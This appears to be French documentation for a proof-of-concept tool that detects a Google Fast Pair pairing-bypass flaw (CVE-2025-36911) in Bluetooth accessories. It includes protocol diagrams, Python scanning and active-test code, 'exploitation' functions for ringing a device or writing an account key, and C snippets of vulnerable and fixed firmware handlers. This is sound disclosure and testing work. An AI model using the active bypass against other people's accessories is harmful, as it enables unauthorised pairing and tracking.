┌─────────────────────────────────────────────────────────────┐
│                    Annonce BLE                               │
├─────────────────────────────────────────────────────────────┤
│  UUID de service : 0xFE2C (Fast Pair)                       │
│  Données de service :                                       │
│    [Mode d'appairage]   → 3 octets : uniquement Model ID    │
│    [Pas en appairage]   → 4+ octets : 0x00 + Filtre Clé    │
└─────────────────────────────────────────────────────────────┘

Chercheur (Téléphone)                           Fournisseur (Accessoire)
      │                                              │
      │───── Connexion GATT ─────────────────────────>│
      │                                              │
      │───── Découverte des Services ────────────────>│
      │<──── Service : 0xFE2C ────────────────────────│
      │                                              │
      │───── Activer Notifications (0xFE2C1234) ────>│
      │                                              │
      │───── Écrire Requête d'Appairage Basée Clé ──>│
      │      [bloc chiffré de 16 octets]              │
      │      [Clé Publique ECDH de 64 octets] (opt.) │
      │                                              │
      │      ┌────────────────────────────────────┐  │
      │      │ VÉRIFICATION DE SÉCURITÉ :          │  │
      │      │ Si Clé Publique présente ET         │  │
      │      │ appareil PAS en mode appairage :    │  │
      │      │   → IGNORER et QUITTER              │  │
      │      │ Sinon :                             │  │
      │      │   → Traiter la requête              │  │
      │      └────────────────────────────────────┘  │
      │                                              │
      │<──── Notification : Réponse Chiffrée ────────│
      │      [Adresse BR/EDR du Fournisseur]          │
      │                                              │
      │═══════ Appairage Bluetooth Classique ════════>│

┌────────────────────────────────────────────────────────────────┐
│                        WhisperPair-PoC-Tool                    │
├────────────────────────────────────────────────────────────────┤
│  Couche CLI                                                     │
│  ├── Analyse des arguments (--target-name, --scan-duration)    │
│  ├── Construction de TargetPolicy                              │
│  └── Initialisation du REPL                                    │
├────────────────────────────────────────────────────────────────┤
│  Moteur de Découverte                                           │
│  ├── Scan BLE via Bleak                                        │
│  ├── Analyse des annonces                                      │
│  ├── Détection de protocole (Fast Pair, FMDN, Swift Pair)      │
│  └── Empreinte de l'appareil (Model ID, consultation OUI)     │
├────────────────────────────────────────────────────────────────┤
│  Moteurs de Vérification                                        │
│  ├── FastPairCheckEngine (analyse passive des annonces)        │
│  ├── FastPairBypass (test actif CVE-2025-36911)               │
│  ├── FindHubCheckEngine (détection état de la Clé de Compte)  │
│  └── RiskScorer (évaluation composite des vulnérabilités)     │
├────────────────────────────────────────────────────────────────┤
│  Gestionnaire de Connexion                                      │
│  ├── Connexion GATT avec négociation MTU                       │
│  ├── Découverte des services/caractéristiques                  │
│  ├── Opérations Lecture/Écriture/Notification                  │
│  └── Gestion des erreurs et logique de réessai                 │
├────────────────────────────────────────────────────────────────┤
│  Modules d'Exploitation                                         │
│  ├── ring_device() - Déclencher son de localisation            │
│  ├── set_account_key() - Écrire une Clé de Compte              │
│  └── Analyse de la réponse (extraction adresse BR/EDR)         │
└────────────────────────────────────────────────────────────────┘

async def _detection_callback(
    self, device: BLEDevice, advertisement_data: AdvertisementData
) -> None:
    """Traite chaque annonce BLE détectée."""
    discovered = DiscoveredDevice(
        address=device.address,
        name=device.name or advertisement_data.local_name,
        rssi=advertisement_data.rssi,
        advertisement=self._convert_advertisement(advertisement_data),
        first_seen=datetime.now(UTC),
        last_seen=datetime.now(UTC),
    )
    self._devices[device.address] = discovered

def _analyze_service_data(self, evidence: FastPairEvidence) -> None:
    """Analyse les données de service Fast Pair pour inférer le mode d'appairage."""
    data = evidence.service_data_bytes
    
    # 3 octets = Model ID uniquement = Mode appairage (découvrable)
    if len(data) == 3:
        evidence.inferred_pairing_mode = PairingModeState.IN_PAIRING_MODE
        return
    
    # 4+ octets avec version 0x00 = Pas en mode appairage
    if data[0] == 0x00:
        akd_byte = data[1]
        akd_type = akd_byte & 0x0F  # 4 bits de poids faible
        # Type 0x00 = Afficher IU, Type 0x02 = Masquer IU
        # Les deux indiquent PAS en mode appairage
        evidence.inferred_pairing_mode = PairingModeState.NOT_IN_PAIRING_MODE

async def check_vulnerability(self, device: DiscoveredDevice) -> BypassCheckResult:
    """Teste si l'appareil répond aux demandes d'appairage lorsqu'il n'est pas en mode appairage."""
    
    # Activer les notifications pour recevoir la réponse
    await self.connection_manager.start_notify(
        KEY_BASED_PAIRING_CHAR,
        self._notification_handler,
    )
    
    # Construire et envoyer la demande (plusieurs stratégies)
    for strategy in self.strategies:
        request, flags = self._build_strategy_request(device.address, strategy)
        await self.connection_manager.write_characteristic(
            KEY_BASED_PAIRING_CHAR,
            request,
        )
        
        # Attendre une réponse
        try:
            await asyncio.wait_for(
                self._response_received.wait(),
                timeout=self.response_timeout,
            )
            # Réponse reçue = VULNÉRABLE
            return BypassCheckResult(result=BypassResult.VULNERABLE, ...)
        except asyncio.TimeoutError:
            # Pas de réponse = L'appareil a correctement ignoré la demande
            continue
    
    return BypassCheckResult(result=BypassResult.NOT_VULNERABLE, ...)

def _parse_response(self, response_data: bytes) -> str | None:
    """Extrait l'adresse BR/EDR du fournisseur depuis la réponse."""
    
    # Stratégie 1 : Réponse standard (type 0x01)
    if response_data[0] == 0x01:
        return self._extract_address(response_data, offset=1)
    
    # Stratégie 2 : Réponse étendue (type 0x02)
    if response_data[0] == 0x02:
        addr_count = response_data[2]
        return self._extract_address(response_data, offset=3)
    
    # Stratégie 3 : Correspondance de motif par force brute
    for offset in range(len(response_data) - 5):
        addr = self._extract_address(response_data, offset)
        if self._is_valid_mac(addr):
            return addr

// VULNÉRABLE : Pas de vérification du mode d'appairage
void handle_kbp_write(uint8_t* data, size_t len) {
    if (len >= 80 && has_public_key(data)) {
        // Devrait vérifier : if (!is_in_pairing_mode()) return;
        process_pairing_request(data);  // Traite quoi qu'il arrive
    }
}

// VULNÉRABLE : Aucune authentification requise
void handle_account_key_write(uint8_t* key, size_t len) {
    if (len == 16) {
        store_account_key(key);  // Accepte n'importe quelle clé de n'importe qui
    }
}

// SÉCURISÉ : Vérifier que l'appelant connaît la clé existante
void handle_account_key_write_secure(uint8_t* encrypted_key, size_t len) {
    if (!verify_encrypted_with_existing_key(encrypted_key)) {
        return;  // Rejeter les écritures non autorisées
    }
    store_account_key(decrypt(encrypted_key));
}

┌─────────────────────────────────────────────────────────────┐
│  Vérifications Passives                                       │
├─────────────────────────────────────────────────────────────┤
│  ✓ UUID de service Fast Pair présent (0xFE2C)               │
│  ✓ UUID de service FMDN présent (0xFD44)                    │
│  ✓ Mode d'appairage inféré depuis la longueur des données    │
│  ✓ Model ID extrait (lorsqu'en mode appairage)               │
│  ✓ Filtre de Clé de Compte détecté (hors mode appairage)    │
│  ✓ Analyse du type d'adresse (statique vs aléatoire)         │
└─────────────────────────────────────────────────────────────┘

Résultat : "L'appareil annonce des données Fast Pair alors qu'il n'est PAS en mode appairage"
        → Potentielle violation de barrière (nécessite un test actif pour confirmer)

┌─────────────────────────────────────────────────────────────┐
│  Vérifications Actives                                        │
├─────────────────────────────────────────────────────────────┤
│  1. Connexion à l'appareil via BLE                           │
│  2. Découverte du service Fast Pair (0xFE2C)                 │
│  3. Localisation de la caractéristique Key-Based Pairing     │
│     (0xFE2C1234)                                             │
│  4. Activation des notifications                              │
│  5. Écriture de la demande d'appairage basée sur clé         │
│  6. Attente d'une réponse (avec timeout)                     │
│  7. Réponse reçue → VULNÉRABLE                               │
│     Timeout/Rejet → NON VULNÉRABLE                           │
└─────────────────────────────────────────────────────────────┘

if (has_public_key(request) && !is_in_pairing_mode()) {
    return;  // Ignorer la demande selon la spécification
}